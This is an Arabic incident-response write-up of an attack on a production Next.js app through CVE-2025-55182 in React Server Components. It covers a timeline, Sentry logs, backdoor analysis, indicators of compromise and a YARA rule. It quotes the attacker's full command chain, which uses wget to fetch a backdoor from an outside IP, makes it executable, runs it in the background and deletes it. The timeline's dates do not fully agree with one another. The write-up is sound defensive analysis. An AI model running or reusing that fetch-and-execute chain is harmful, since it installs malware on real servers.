
تحليل هجوم واقعي لـ CVE-2025-55182 (React2Shell) - ثغرة RCE في مكونات خادم React
تحليل هجوم واقعي على تطبيق Next.js إنتاجي
في 5 ديسمبر 2025، استهدف المهاجمون تطبيق Next.js الإنتاجي الخاص بنا مستغلين CVE-2025-55182 (React2Shell)، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد في مكونات React Server Components. حاول الهجوم تنزيل وتنفيذ حصان طروادة (باب خلفي) على خادمنا لنظام Linux.
| السمة | القيمة |
|---|---|
| معرف CVE | CVE-2025-55182 |
| درجة CVSS | 9.8 (حرجة) |
| تاريخ الهجوم | 5 ديسمبر 2025 |
| نتيجة الهجوم | ✅ تم الحظر (بعد التصحيح) |
| نوع البرمجية الخبيثة | حصان طروادة باب خلفي لأنظمة Linux |
| المكدس المتأثر | Next.js + React Server Components |
CVE-2025-55182، المعروفة أيضًا باسم "React2Shell"، هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) تؤثر على مكونات React Server Components (RSC) في:
توجد الثغرة في دالة renderToReadableStream() داخل Flight Server الخاص بـ React. عند معالجة حمولات RSC مصممة خصيصًا، يفشل الخادم في تعقيم بعض المدخلات بشكل صحيح، مما يؤدي إلى تنفيذ تعليمات برمجية عشوائية.
Attacker → Malicious RSC Payload → Flight Server → eval() → RCE
يرسل المهاجم طلب POST معدًا مع حمولة متسلسلة ضارة يتم إلغاء تسلسلها وتنفيذها على الخادم.
| الطابع الزمني (UTC) | الحدث |
|---|---|
| 5 ديسمبر، 06:20 | اكتشاف أول هجوم عبر Sentry |
| 5 ديسمبر، 06:20 | محاولة الحمولة تنفيذ أوامر الصدفة |
| 5 ديسمبر، 06:20 | الهجوم ناجح جزئيًا (قبل التصحيح) |
سجل خطأ Sentry (قبل التصحيح):
Error: root
at eval (eval at <anonymous>, <anonymous>:3:6)
at nk (chunk.js)
at JSON.parse (<anonymous>)
at n5 (/app/node_modules/next/dist/server/app-render.js)
| الطابع الزمني | الإجراء |
|---|---|
| 4 ديسمبر، 14:13 | الترقية إلى Next.js 16.0.7 |
| 4 ديسمبر، 14:13 | نشر الإصدار المصحح (v1.0.0-beta-4) |
| الطابع الزمني (UTC) | الحدث |
|---|---|
| 5 ديسمبر، 08:48 | اكتشاف محاولة الهجوم |
| 5 ديسمبر، 08:48 | تم حظر تنفيذ الحمولة |
| 5 ديسمبر، 08:48 | خطأ: syntax error: unexpected ";" |
سجل خطأ Sentry (بعد التصحيح):
Error: Command failed: wget http://45.76.155.14/vim -O /tmp/vim ;
chmod +x /tmp/vim ; nohup /tmp/vim > /dev/null 2>&1 & ; rm -f /tmp/vim
/bin/sh: syntax error: unexpected ";"
نجح التصحيح في منع تنفيذ الأمر الضار.
| السمة | القيمة |
|---|---|
| URL الهدف | https://[REDACTED]/ |
| الطريقة | POST |
| وكيل المستخدم | Python Requests 2.31 |
| المصدر | نص هجوم آلي |
حاول المهاجم تنفيذ سلسلة الأوامر التالية:
wget http://45.76.155.14/vim -O /tmp/vim ; \
chmod +x /tmp/vim ; \
nohup /tmp/vim > /dev/null 2>&1 & ; \
rm -f /tmp/vim
تفصيل:
| الخطوة | الأمر | الغرض |
|---|---|---|
| 1 | wget http://45.76.155.14/vim -O /tmp/vim | تنزيل البرمجية الخبيثة |
| 2 | chmod +x /tmp/vim | جعل الملف قابلًا للتنفيذ |
| 3 | nohup /tmp/vim > /dev/null 2>&1 & | التشغيل في الخلفية، الاستمرار بعد تسجيل الخروج |
| 4 | rm -f /tmp/vim | حذف الأدلة |
| المكون | الإصدار |
|---|---|
| نظام التشغيل | Alpine Linux 3.23.0 |
| بيئة التشغيل | Node.js v20.19.6 |
| الإطار | Next.js 16.0.7 (مصحح) |
| الحاوية | Docker |
| السمة | القيمة |
|---|---|
| اسم الملف | vim (متنكر كأداة شرعية) |
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| نوع الملف | ELF 64-bit LSB قابل للتنفيذ، x86-64 |
| اللغة | Go (ملف ثنائي مجمّع) |
| حجم الملف | ~4.7 MB |
معدل الكشف: 13/72 (18%)
| البائع | اسم الكشف |
|---|---|
| DrWeb | Linux.BackDoor.Siggen.389 |
| AhnLab-V3 | Backdoor/Linux.Agent.4780032 |
| Kaspersky | HEUR:Trojan.Linux.Agent.gen |
| ESET-NOD32 | Linux/Agent.PX Trojan |
| Avast/AVG | ELF:Agent-BQE [Trj] |
| AliCloud | Trojan:Linux/Agent.ff565f70 |
| Antiy-AVL | Trojan/Linux.Agent.px |
| Rising | Trojan.Agent/Linux!8.13268 |
| SentinelOne | Static AI - Suspicious ELF |
| Tencent | Malware.Linux.Generic.1c03c8b9 |
| Zillya | Trojan.Agent.Linux.5292 |
رابط VirusTotal: عرض التحليل
رأس ELF:
00000000: 7f45 4c46 0201 0100 0000 0000 0000 0000 .ELF............
00000010: 0200 3e00 0100 0000 60e7 4500 0000 0000 ..>.....`.E.....
الإمكانيات المحددة:
| الإمكانية | الدليل |
|---|---|
| عميل HTTP/HTTPS | net/http, *http.Client |
| تشفير TLS | crypto/tls, crypto/aes |
| وكيل SOCKS5 | socks, socks5 |
| حل DNS | net/dns/dnsmessage |
| تشفير قوي | chacha20poly1305, Ed25519 |
السلاسل المستخرجة (ذات الصلة):
crypto/aes
crypto/tls
net/http
socks5
vendor/golang.org/x/crypto/chacha20poly1305
vendor/golang.org/x/net/http2/hpack
| الخطورة | القاعدة | المصدر |
|---|---|---|
| منخفضة | ET POLICY HTTP traffic on port 443 (POST) | Proofpoint ET Open |
| منخفضة | ET DNS Query for .cc TLD | Proofpoint ET Open |
النوع: حصان طروادة باب خلفي لأنظمة Linux
الإمكانيات:
| النوع | القيمة | الوصف |
|---|---|---|
| عنوان IP | 45.76.155.14 | خادم توزيع البرمجية الخبيثة |
| URL | http://45.76.155.14/vim | رابط تنزيل البرمجية الخبيثة |
| الاستضافة | Vultr VPS | مزود السحابة |
| النطاق الأعلى | .cc | نطاق C2 يستخدم .cc |
| النوع | القيمة |
|---|---|
| SHA256 | 0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce |
| SHA1 | [احسب إذا لزم الأمر] |
| MD5 | [احسب إذا لزم الأمر] |
| اسم الملف | vim (متنكر) |
| نوع الملف | ELF 64-bit x86-64 |
| حجم الملف | ~4.7 MB |
| المؤشر | الوصف |
|---|---|
wget إلى IP خارجي | تنزيل من عناوين URL غير قياسية |
ملفات في /tmp/ | ملف قابل للتنفيذ مشبوه في الدليل المؤقت |
nohup + تشغيل في الخلفية | محاولة ثبات |
| حذف الملف فورًا | تنظيف الأدلة |
| وكيل المستخدم Python Requests | أداة هجوم آلية |
rule CVE_2025_55182_Backdoor {
meta:
description = "يكتشف الباب الخلفي الموزع عبر CVE-2025-55182"
author = "باحث أمني"
date = "2025-12-05"
hash = "0f0f9c339fcc267ec3d560c7168c56f607232cbeb158cb02a0818720a54e72ce"
strings:
$elf = { 7F 45 4C 46 }
$go1 = "vendor/golang.org/x/crypto" ascii
$go2 = "vendor/golang.org/x/net" ascii
$net1 = "net/http" ascii
$net2 = "socks5" ascii
$crypto1 = "crypto/tls" ascii
$crypto2 = "chacha20poly1305" ascii
condition:
$elf at 0 and
(2 of ($go*)) and
(1 of ($net*)) and
(1 of ($crypto*))
}